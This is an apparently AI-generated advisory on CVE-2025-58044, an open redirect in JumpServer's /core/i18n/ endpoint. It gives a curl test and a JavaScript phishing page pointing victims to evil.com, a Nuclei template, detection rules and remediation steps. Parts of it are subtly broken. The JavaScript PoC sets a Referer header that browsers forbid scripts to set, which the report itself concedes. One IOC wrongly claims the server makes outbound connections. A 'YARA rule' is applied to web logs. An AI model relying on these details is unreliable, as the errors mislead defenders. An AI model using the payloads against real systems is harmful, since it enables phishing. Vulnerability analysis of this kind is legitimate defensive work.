CVE-2025-58044

Executive Summary

CVE-2025-58044 is an open redirect vulnerability in JumpServer, an open-source bastion host and operation and maintenance security audit system. The vulnerability exists in the /core/i18n/ endpoint, which improperly uses the Referer header as a redirection target without validation. An attacker can craft a malicious link that, when clicked by an authenticated or unauthenticated user, redirects them to an attacker-controlled website. This can be leveraged for phishing attacks, credential theft, or malware distribution. The vulnerability affects all versions prior to v3.10.19 (v3.x) and v4.10.5 (v4.x). A public proof-of-concept (PoC) and a Nuclei template are available, confirming the exploitability of this issue.

Supply Chain & Package Security

JumpServer is distributed as a Docker image and via source code on GitHub. The vulnerability is in the application code itself, not in a third-party package. However, organizations using JumpServer should verify they are not running a vulnerable version and ensure their deployment pipeline includes version checks. The fix is available in the official repository, and upgrading is the primary remediation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is 6.1, the availability of a public PoC and the potential for phishing attacks elevate the risk. The vulnerability requires user interaction, but the low complexity and network attack vector make it attractive for social engineering campaigns.

Deep Dive & Mechanics

The vulnerability resides in the /core/i18n/ endpoint. This endpoint is used for internationalization (i18n) and language switching. The application reads the Referer header from the incoming HTTP request and uses it as the redirection target after processing the language change. No validation or sanitization is performed on the Referer value.

Attack Flow:

1. An attacker crafts a URL pointing to a vulnerable JumpServer instance: https://victim-jumpserver.com/core/i18n/ko/
2. The attacker sets the Referer header to an external malicious site (e.g., https://evil.com/phishing).
3. The victim is tricked into clicking the link (e.g., via email or social media).
4. The JumpServer server processes the request and issues a 302 redirect to the URL specified in the Referer header.
5. The victim's browser follows the redirect to the attacker-controlled site.

Root Cause: The application uses the Referer header directly in a redirect response without checking if the target is within the same origin or a trusted domain. This is a classic CWE-601 (URL Redirection to Untrusted Site) vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable endpoint handler
def i18n_redirect(request):
    lang = request.path.split('/')[-1]
    referer = request.headers.get('Referer', '/')
    # No validation of referer
    return redirect(referer)

Patched Code (Conceptual):

# Patched endpoint handler
from urllib.parse import urlparse

def i18n_redirect(request):
    lang = request.path.split('/')[-1]
    referer = request.headers.get('Referer', '/')
    parsed = urlparse(referer)
    # Only allow redirects to the same host
    if parsed.netloc and parsed.netloc != request.get_host():
        referer = '/'
    return redirect(referer)

The patch adds a check to ensure the Referer header points to the same host as the request. If it does not, the redirect defaults to the root path.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable JumpServer instance (version < 3.10.19 or < 4.10.5).
• A listener or server to capture the redirect (e.g., oast.pro or a custom domain).

Exploitation Steps:

1. Identify a vulnerable JumpServer instance.
2. Use the following curl command to test the vulnerability:

   curl -v -H "Referer: https://evil.com" "http://target-jumpserver.com/core/i18n/ko/"
   

3. Observe the 302 redirect to https://evil.com.
4. For phishing, craft a link that includes the malicious Referer header. Note that browsers do not allow setting the Referer header via a simple link click. However, an attacker can use a page with a meta refresh or JavaScript to set the header:

   <html>
   <body>
   <script>
   fetch('http://target-jumpserver.com/core/i18n/ko/', {
       headers: { 'Referer': 'https://evil.com/phishing' }
   }).then(response => {
       window.location.href = response.url;
   });
   </script>
   </body>
   </html>
   

5. Host this HTML on an attacker-controlled site and trick the victim into visiting it.

Nuclei Template (Provided):

id: CVE-2025-58044

info:
  name: JumpServer - Open Redirect via Referer Header
  author: DhiyaneshDk
  severity: medium
  description: |
    JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.
  impact: |
    An attacker can craft a malicious link that, when clicked by a victim, redirects them toan attacker-controlled website. This can be used to steal credentials through phishing or to distribute malware.
  remediation: |
    Upgrade JumpServer to version 3.10.19 or later (for v3.x) or version 4.10.5 or later (for v4.x).
  reference:
    - https://github.com/jumpserver/jumpserver/security/advisories/GHSA-h762-mj7p-jwjq
    - https://github.com/jumpserver/jumpserver/commit/36ae076cb021f16d2053a63651bc16d15a3ed53b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58044
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-58044
    epss-score: 0.00521
    epss-percentile: 0.66903
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    shodan-query: html:"JumpServer 开源堡垒机"
  tags: cve,cve2025,jumpserver,redirect,open-redirect,fit2cloud

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/i18n/ko/"

    headers:
      Referer: "https://oast.pro"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)location:\s*https?://oast\.pro'

      - type: status
        status:
          - 302

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /core/i18n/ with unusual Referer headers.
2. Look for 302 redirect responses where the Location header points to an external domain.
3. Use the provided YARA and Sigma rules to detect exploitation attempts.

Lab Setup:

• Deploy a vulnerable JumpServer instance in a sandboxed environment.
• Use the Nuclei template to verify the vulnerability.
• Capture network traffic with tcpdump or Wireshark to observe the redirect.

Indicators of Compromise (IOCs)

• URL Pattern: */core/i18n/* with a Referer header pointing to an external domain.
• HTTP Response: 302 redirect with Location header set to an external URL.
• Log Entry: GET /core/i18n/ko/ with Referer: https://evil.com and response code 302.
• Network Traffic: Outbound connections from the JumpServer to an external domain immediately following a request to /core/i18n/.

Detection Engineering

YARA Rule

rule CVE_2025_58044_JumpServer_OpenRedirect {
    meta:
        description = "Detects exploitation attempts of CVE-2025-58044 in JumpServer logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-58044"
    strings:
        $s1 = "/core/i18n/" ascii wide
        $s2 = "Referer:" ascii wide
        $s3 = "HTTP/1.1 302" ascii wide
        $s4 = "Location:" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: JumpServer Open Redirect via Referer Header
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /core/i18n/ with a Referer header pointing to an external domain, indicating exploitation of CVE-2025-58044.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58044
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-stem: "/core/i18n/*"
        cs-method: "GET"
        sc-status: 302
        cs(Referer): "https://*"
    condition: selection
falsepositives:
    - Legitimate language switching with a valid internal Referer
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58044 JumpServer Open Redirect Attempt"; flow:to_server; content:"GET"; http_method; content:"/core/i18n/"; http_uri; content:"Referer|3a|"; http_header; pcre:"/Referer:\s*https?:\/\/[^\/]+/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade JumpServer to version 3.10.19 or later (for v3.x) or version 4.10.5 or later (for v4.x).
2. If immediate upgrade is not possible, implement a WAF rule to block requests to /core/i18n/ with external Referer headers.
3. Monitor logs for exploitation attempts.

Long-Term Mitigations:

• Implement strict validation of all redirect targets in the application.
• Use a whitelist of allowed redirect domains.
• Conduct regular security audits and penetration testing.

Patch Details:

• Fixed Versions: v3.10.19, v4.10.5
• Commit: 36ae076cb021f16d2053a63651bc16d15a3ed53b

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 214AE0BD3E214E70519FB5AA] */}